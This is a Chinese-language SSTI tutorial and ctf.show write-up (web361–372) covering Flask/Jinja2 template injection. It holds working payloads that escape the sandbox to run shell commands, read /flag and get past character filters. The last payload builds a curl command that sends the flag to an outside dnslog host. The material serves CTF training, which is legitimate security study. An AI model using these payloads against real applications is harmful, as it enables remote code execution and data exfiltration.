ssti模板注入
简介:
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
SSTI 就是服务器端模板注入(Server-Side Template Injection)
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
基本语法
变量块 {{}} 用于将表达式打印到模板输出
注释块 {##} 注释
控制块 {%%} 可以声明变量,也可以执行语句
行声明 ## 可以有和{%%}相同的效果
常用方法:
__class__ 查看对象所在的类
__mro__ 查看继承关系和调用顺序,返回元组
__base__ 返回基类
__bases__ 返回基类元组
__subclasses__() 返回子类列表
__init__ 调用初始化函数,可以用来跳到__globals__
__globals__ 返回函数所在的全局命名空间所定义的全局变量,返回字典
__builtins__ 返回内建内建名称空间字典
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()
实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候,形如:a.xxx/a.xxx()都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__
内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for:
flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
get_flashed_messages
flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
lipsum
flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
{{cycler.__init__.__globals__.os.popen('ls').read()}}
current_app 应用上下文,一个全局变量
request
可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{config.__class__.__init__.__globals__['os'].popen('ls').read() }}
过滤器:
int() 将值转换为int类型;
float() 将值转换为float类型;
lower() 将字符串转换为小写;
upper() 将字符串转换为大写;
title() 把值中的每个单词的首字母都转成大写;
capitalize() 把变量值的首字母转成大写,其余字母转小写;
trim() 截取字符串前面和后面的空白字符;
wordcount() 计算一个长字符串中单词的个数;
reverse() 字符串反转;
replace(value,old,new) 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False) 截取length长度的字符串;
striptags() 删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e 转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe() 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
list() 将变量列成列表;
string() 将变量转换成字符串;
join() 将一个序列中的参数值拼接成字符串。示例看上面payload;
abs() 返回一个数值的绝对值;
first() 返回一个序列的第一个元素;
last() 返回一个序列的最后一个元素;
format(value,arags,*kwargs) 格式化字符串。比如:{{"%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length() 返回一个序列或者字典的长度;
sum() 返回列表内数值的和;
sort() 返回排序后的列表;
default(value,default_value,boolean=false) 如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length() 返回字符串的长度,别名是count
web361
可以直接用 lipsum 和 cycler 执行命令
lipsum: flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块
Payload:
?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}
Web362
url_for: flask的一个方法,可以用于得到__builtins__,而且url_for.globals[‘builtins’]含有current_app
init: 调用初始化函数,可以用来跳到__globals__
Payload:
?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
Web363
过滤单双引号
利用上传别的参数绕过对name的过滤。
request.args.x1 get传参
过滤单引号
Payload:
?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat /flag
Web364
在过滤单双引号和过滤了args无法使用get传参,尝试使用cookie传参
request.cookies cookies参数
Chr函数绕过
Payload:
?name={%set chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}
Web365
过滤单双引号和中括号
payload:
?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag
Web366
过滤了单双引号、args、中括号[]、下划线
Payload:
?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.ocean)|attr(request.values.f)()}}&ocean=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read
Web367
过滤了单双引号、args、中括号[]、下划线
过滤了os,使用value绕过name过滤或者使用cookie传参。
attr用于获取对象的属性。foo|attr(“bar”)与foo类似。只是始终返回一个属性
变量可以通过过滤器修改。过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数。可以链接多 个过滤器。一个过滤器的输出应用于下一个过滤器。
Payload:
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag
Web368
过滤{{
可以使用{%xxx%}绕过
{%xxx%}可以用来声明变量,当然也可以用于循环语句和条件语句。
Paylaod:
?name={%print((lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read())%}&a=__globals__&b=os&c=cat /flag
Web369
过滤request
Paylaod:
https://a2dc2eee-ac06-4c03-841d-6e5026d35e12.challenge.ctf.show/?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
Web370
过滤数字
字符替换,把数字替换成字符
Payload:
?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}
web372
过滤count
不能出现数字
打不开用手机热点
payload:
?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}{%set k=dict(eeeeeeeee=a)|join|length%}{%set l=dict(eeeeeeee=a)|join|length%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(tehtve =a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}ataoyyds{%endif%}